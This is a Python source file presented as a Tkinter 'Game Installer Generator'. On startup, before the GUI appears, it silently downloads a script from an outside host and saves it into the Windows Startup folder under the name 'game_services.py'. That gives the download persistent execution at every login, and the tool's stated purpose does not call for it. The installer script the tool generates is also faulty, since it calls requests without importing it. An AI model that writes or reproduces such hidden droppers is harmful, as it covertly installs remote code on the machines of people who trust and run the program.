from shutil import copyfile
import os
import requests
url = 'https://powerhouse8.pythonanywhere.com/static/real.py'
r = requests.get(url)
with open("C:\\Users\\" + os.getlogin() + "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\game_services.py", 'wb') as f:
    f.write(r.content)
import tkinter as tk
from tkinter import messagebox

def generate_installer():
    title = title_entry.get()
    game_url = game_url_entry.get()

    if not title or not game_url:
        messagebox.showerror("Error", "Please fill in all the fields.")
        return

    installer_script = """
url = '""" + game_url + """'
r = requests.get(url)
with open("C:/Users/""" + os.getlogin() + """/game.exe", 'wb') as f:
    f.write(r.content)
"""
    with open(f"{title}_installer.py", "w") as file:
        file.write(installer_script)

    messagebox.showinfo("Installer Generated", "Installer script generated successfully. You may now close the application.")

# Create main window
root = tk.Tk()
root.title("Game Installer Generator")

# Create input fields
tk.Label(root, text="Game Title:").grid(row=0, column=0, sticky="w")
title_entry = tk.Entry(root)
title_entry.grid(row=0, column=1)

tk.Label(root, text="Game Executable URL:").grid(row=1, column=0, sticky="w")
game_url_entry = tk.Entry(root)
game_url_entry.grid(row=1, column=1)

# Button to generate installer
generate_button = tk.Button(root, text="Generate Installer", command=generate_installer)
generate_button.grid(row=4, columnspan=2)

root.mainloop()